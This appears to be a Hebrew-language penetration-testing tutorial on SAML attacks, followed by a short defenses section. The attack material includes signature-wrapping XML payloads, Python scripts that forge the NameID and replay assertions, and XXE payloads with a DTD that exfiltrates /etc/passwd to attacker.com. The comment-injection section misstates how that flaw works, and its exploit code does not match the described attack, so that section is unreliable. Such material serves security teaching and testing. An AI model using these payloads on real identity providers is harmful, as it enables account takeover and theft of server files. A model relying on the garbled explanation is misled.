לדלג לתוכן

תקיפת SAML - SAML Attacks

מבוא

SAML (Security Assertion Markup Language) הוא פרוטוקול אותנטיקציה מבוסס XML המשמש בעיקר בסביבות ארגוניות לניהול Single Sign-On (SSO). למרות שהפרוטוקול מציע מנגנוני אבטחה חזקים, הטמעות לקויות וחולשות בעיבוד XML יוצרות הזדמנויות תקיפה רבות.

סקירת זרימת SAML

השחקנים

- User (User / Principal) - the user who wants to access the service
- Service Provider - SP (Service Provider) - the application the user wants to access
- Identity Provider - IdP (Identity Provider) - the server that authenticates the user (Active Directory, Okta, etc.)

זרימת SP-Initiated SSO

1. User -> SP: Attempt to access the application
2. SP -> User: Redirect to IdP with SAML Request
3. User -> IdP: Authenticate (username + password)
4. IdP -> User: SAML Response with a signed Assertion
5. User -> SP: Forward the SAML Response
6. SP: Validate the signature and obtain the identity

איור זרימת SP-Initiated SSO ב-SAML המראה את המסלול מהמשתמש דרך ה-IdP ועד אימות החתימה אצל ה-SP

מבנה SAML Response

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                ID="_response123" Version="2.0"
                IssueInstant="2024-01-15T10:00:00Z"
                Destination="https://sp.example.com/acs">

    <saml:Issuer>https://idp.example.com</saml:Issuer>

    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <!-- Digital signature -->
        <ds:SignedInfo>
            <ds:Reference URI="#_assertion456">
                <ds:DigestValue>abc123...</ds:DigestValue>
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>xyz789...</ds:SignatureValue>
    </ds:Signature>

    <saml:Assertion ID="_assertion456" Version="2.0"
                     IssueInstant="2024-01-15T10:00:00Z">

        <saml:Issuer>https://idp.example.com</saml:Issuer>

        <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                user@example.com
            </saml:NameID>
        </saml:Subject>

        <saml:Conditions NotBefore="2024-01-15T09:55:00Z"
                          NotOnOrAfter="2024-01-15T10:05:00Z">
            <saml:AudienceRestriction>
                <saml:Audience>https://sp.example.com</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>

        <saml:AuthnStatement AuthnInstant="2024-01-15T10:00:00Z">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
                </saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>

        <saml:AttributeStatement>
            <saml:Attribute Name="role">
                <saml:AttributeValue>user</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>

    </saml:Assertion>
</samlp:Response>

תקיפה 1: עטיפת signature XML - XML Signature Wrapping (XSW)

הרקע

בתקיפת XSW, התוקף מעביר את האלמנט החתום למיקום אחר ב-XML ומוסיף אלמנט זדוני במקום המקורי. ספריות שלא מאמתות כראוי את הקשר בין הsignature לתוכן עלולות לאמת את הsignature על האלמנט המקורי, אך להשתמש בתוכן הזדוני.

איור המראה את תקיפת עטיפת החתימה ב-SAML שבה החתימה מאומתת על Assertion אחת אך ה-SP קורא את הזהות מ-Assertion זדונית

סוגי XSW

XSW Attack 1 - העברת Assertion

<!-- Original SAML Response (simple) -->
<Response>
    <Assertion ID="original">
        <Subject>
            <NameID>user@example.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <Reference URI="#original"/>
    </Signature>
</Response>

<!-- XSW Attack: adding a malicious Assertion -->
<Response>
    <!-- Malicious Assertion - not signed but will be read first -->
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <!-- Original Assertion - signed but will be ignored -->
    <Assertion ID="original">
        <Subject>
            <NameID>user@example.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <Reference URI="#original"/>
    </Signature>
</Response>

XSW Attack 2 - עטיפה ב-Extensions

<Response>
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <Extensions>
        <!-- Original signed Assertion hidden here -->
        <Assertion ID="original">
            <Subject>
                <NameID>user@example.com</NameID>
            </Subject>
        </Assertion>
        <Signature>
            <Reference URI="#original"/>
        </Signature>
    </Extensions>
</Response>

XSW Attack 3 - שימוש ב-Object

<Response>
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <Signature>
        <Reference URI="#original"/>
        <Object>
            <!-- Hidden inside the Object of the signature -->
            <Assertion ID="original">
                <Subject>
                    <NameID>user@example.com</NameID>
                </Subject>
            </Assertion>
        </Object>
    </Signature>
</Response>

תקיפה 2: מניפולציית SAML Response - Response Manipulation

שינוי NameID

אם ה-SP לא מאמת את הsignature כראוי, או אם הsignature מכסה רק חלק מה-Response:

<!-- Original -->
<NameID>user@example.com</NameID>

<!-- Manipulation -->
<NameID>admin@example.com</NameID>

הdecoding ושינוי SAML Response

import base64
import zlib
from lxml import etree

def decode_saml_response(saml_b64):
    """Decode a SAML Response from Base64"""
    decoded = base64.b64decode(saml_b64)

    try:
        # Attempt deflate (SAML Redirect binding)
        decompressed = zlib.decompress(decoded, -15)
        return decompressed
    except:
        # Already not compressed (POST binding)
        return decoded

def modify_saml_response(saml_xml, new_nameid):
    """Change the NameID in a SAML Response"""
    root = etree.fromstring(saml_xml)

    # Namespaces
    ns = {
        'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
        'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
    }

    # Find and change NameID
    name_ids = root.findall('.//saml:NameID', ns)
    for name_id in name_ids:
        print(f"[*] Original NameID: {name_id.text}")
        name_id.text = new_nameid
        print(f"[*] New NameID: {name_id.text}")

    return etree.tostring(root)

def encode_saml_response(saml_xml):
    """Encode a SAML Response back to Base64"""
    return base64.b64encode(saml_xml).decode()

# Usage
saml_response = "PHNhbWxwOl..."  # Base64 encoded
xml = decode_saml_response(saml_response)
modified = modify_saml_response(xml, "admin@example.com")
new_response = encode_saml_response(modified)
print(f"[+] Attacked SAML Response: {new_response}")

תקיפה 3: הinjection הערה - Comment Injection in SAML

הרקע

חולשה שהתגלתה ב-2018 (CVE-2017-11427) בספריות SAML רבות. הוספת הערת XML בתוך NameID גרמה לספריות לקטוע את הערך.

דוגמה

<!-- Original -->
<NameID>user@example.com</NameID>

<!-- With a comment -->
<NameID>admin@example.com<!--.evil.com--></NameID>

איך זה עובד

1. The XML library parses the NameID as: "admin@example.com"
   (the comment is stripped)

2. Signature validation succeeds because the comment is a legal part of XML

3. The SP receives "admin@example.com" as the user's identity

4. The attacker gains access as admin!

קוד exploit

def comment_injection_attack(saml_xml, target_user, original_user):
    """Comment injection attack in SAML"""
    from lxml import etree

    root = etree.fromstring(saml_xml)
    ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}

    name_ids = root.findall('.//saml:NameID', ns)

    for name_id in name_ids:
        # Create a NameID with a comment
        # target_user = "admin@example.com"
        # original_user = "user@example.com"

        # The new value: admin@example.com<!--user@example.com-->
        name_id.text = target_user
        comment = etree.Comment(original_user)
        name_id.append(comment)

    return etree.tostring(root)

תקיפה 4: שחזור Assertion - Assertion Replay

הרקע

אם ה-SP לא עוקב אחרי Assertions שכבר שומשו, ניתן לשלוח אותם שוב.

תנאים לexploit

1. The SP doesn't check InResponseTo (the original request identifier)
2. The SP doesn't keep a list of Assertion IDs already used
3. The time window (NotBefore/NotOnOrAfter) is wide enough
4. Or the SP doesn't check the time window at all

הexploit

import requests
import time

def replay_saml_assertion(sp_acs_url, saml_response, relay_state=None):
    """Replay a SAML Assertion"""

    data = {
        'SAMLResponse': saml_response
    }

    if relay_state:
        data['RelayState'] = relay_state

    # First attempt - original
    resp1 = requests.post(sp_acs_url, data=data, allow_redirects=False)
    print(f"[*] Attempt 1: {resp1.status_code}")

    # Second attempt - replay
    time.sleep(2)
    resp2 = requests.post(sp_acs_url, data=data, allow_redirects=False)
    print(f"[*] Attempt 2 (replay): {resp2.status_code}")

    if resp2.status_code in [200, 302]:
        print("[+] Assertion replay works!")
    else:
        print("[-] Assertion replay blocked")

תקיפה 5: XXE ב-SAML - XXE in SAML

הרקע

SAML מבוסס על XML, ולכן חשוף ל-XXE (XML External Entity) אם הפרסר לא מוגדר כראוי.

דוגמאות

<!-- Basic XXE to read a file -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
    <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml:Subject>
            <saml:NameID>&xxe;</saml:NameID>
        </saml:Subject>
    </saml:Assertion>
</samlp:Response>
<!-- XXE with SSRF -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<samlp:Response>
    <saml:Assertion>
        <saml:Issuer>&xxe;</saml:Issuer>
    </saml:Assertion>
</samlp:Response>
<!-- XXE with parameter entity (blind) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<samlp:Response>
    <saml:Assertion>
        <saml:Subject>
            <saml:NameID>test</saml:NameID>
        </saml:Subject>
    </saml:Assertion>
</samlp:Response>

קובץ DTD בשרת התוקף (evil.dtd)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrapper;
%exfil;

כלי עבודה: SAMLRaider - הרחבת Burp

התקנה ושימוש

1. Install SAMLRaider from the BApp Store
2. Capture a SAML request (POST to the ACS endpoint)
3. In the SAMLRaider tab:
   - Automatic decoding of the SAML Response
   - Editing NameID and other fields
   - Automatic XSW execution
   - Re-signing with a self-owned key
   - XXE testing

תקיפות אוטומטיות עם SAMLRaider

XSW attacks:
1. XSW1: Copy the Assertion and insert it before the original
2. XSW2: Insert a new Assertion after the Response
3. XSW3: Insert a new Assertion before the original Assertion
4. XSW4: Copy the Assertion into Extensions
5. XSW5: Change the URI of the Reference
6. XSW6: Copy the Assertion into an Object inside the signature
7. XSW7: Modify Extensions with the original Assertion
8. XSW8: Insert the original Assertion as a child of a malicious Assertion

סקריפט ניתוח SAML

#!/usr/bin/env python3
"""
Analyze a SAML Response
"""

import base64
import zlib
from lxml import etree

def analyze_saml(saml_b64):
    """Full analysis of a SAML Response"""

    # Decode
    try:
        raw = base64.b64decode(saml_b64)
        try:
            xml = zlib.decompress(raw, -15)
        except:
            xml = raw
    except:
        print("[-] Error decoding Base64")
        return

    root = etree.fromstring(xml)

    ns = {
        'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
        'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
        'ds': 'http://www.w3.org/2000/09/xmldsig#'
    }

    print("[*] Analyzing SAML Response")
    print("=" * 50)

    # Basic info
    issuer = root.find('.//saml:Issuer', ns)
    if issuer is not None:
        print(f"  Issuer (Issuer): {issuer.text}")

    # NameID
    name_ids = root.findall('.//saml:NameID', ns)
    for nid in name_ids:
        print(f"  NameID: {nid.text}")
        print(f"    Format: {nid.get('Format', 'N/A')}")

    # Conditions
    conditions = root.find('.//saml:Conditions', ns)
    if conditions is not None:
        print(f"  NotBefore: {conditions.get('NotBefore', 'N/A')}")
        print(f"  NotOnOrAfter: {conditions.get('NotOnOrAfter', 'N/A')}")

    # Audience
    audiences = root.findall('.//saml:Audience', ns)
    for aud in audiences:
        print(f"  Audience: {aud.text}")

    # Attributes
    attrs = root.findall('.//saml:Attribute', ns)
    for attr in attrs:
        name = attr.get('Name', 'N/A')
        values = [v.text for v in attr.findall('saml:AttributeValue', ns)]
        print(f"  Attribute '{name}': {', '.join(values)}")

    # Signatures
    signatures = root.findall('.//ds:Signature', ns)
    print(f"\n  Signatures: {len(signatures)}")
    for i, sig in enumerate(signatures):
        ref = sig.find('.//ds:Reference', ns)
        if ref is not None:
            print(f"    Signature {i+1}: Reference URI={ref.get('URI', 'N/A')}")

    # Formatted XML
    print("\n[*] Full XML:")
    print(etree.tostring(root, pretty_print=True).decode())

if __name__ == "__main__":
    saml = input("Enter SAML Response (Base64): ")
    analyze_saml(saml)

הגנות - Defenses

1. אימות signature קפדני

from signxml import XMLVerifier

def validate_saml_response(saml_xml, idp_cert):
    """Validate a SAML signature"""
    try:
        # Validate the signature
        verified = XMLVerifier().verify(
            saml_xml,
            x509_cert=idp_cert
        )

        # Make sure the signature covers the Assertion actually used
        # and not just some other element in the XML

        return verified.signed_xml
    except Exception as e:
        raise ValueError(f"Invalid signature: {e}")

2. מניעת XXE

from lxml import etree

def safe_parse_xml(xml_string):
    """Safely parse XML without XXE"""
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        dtd_validation=False,
        load_dtd=False
    )
    return etree.fromstring(xml_string, parser)

3. אימות מלא של Response

def validate_saml_full(response, expected_audience, expected_destination):
    """Full validation of a SAML Response"""

    # 1. Validate signature
    verify_signature(response)

    # 2. Check Issuer
    verify_issuer(response, trusted_issuers)

    # 3. Check Audience
    verify_audience(response, expected_audience)

    # 4. Check Destination
    verify_destination(response, expected_destination)

    # 5. Check time window
    verify_time_window(response)

    # 6. Check InResponseTo
    verify_in_response_to(response, pending_requests)

    # 7. Check for duplicates (prevent replay)
    verify_not_replayed(response)

4. המלצות נוספות

- Use updated and maintained SAML libraries
- Configure the XML parser without entity resolution
- Require a signature on the Assertion (not just on the Response)
- Perform canonicalization before signature validation
- Keep a list of Assertion IDs already used
- Limit the time window to the minimum required
- Always check Audience and Destination

סיכום

תקיפות SAML הן מורכבות אך עלולות לאפשר השתלטות מלאה על חשבונות. הנקודות העיקריות:

  • תקיפות XSW מנצלות חוסר התאמה בין אימות signature לקריאת תוכן
  • הinjection הערה בתוך NameID היא טכניקה פשוטה ויעילה
  • XXE ב-SAML מסוכן במיוחד עקב גישה לקבצים פנימיים
  • שחזור Assertions מתאפשר ללא מעקב אחר שימוש
  • כלי SAMLRaider מקל על זיהוי וexploit חולשות SAML
  • הגנה נכונה דורשת אימות signature קפדני, מניעת XXE, ואימות מלא של כל שדות ה-Response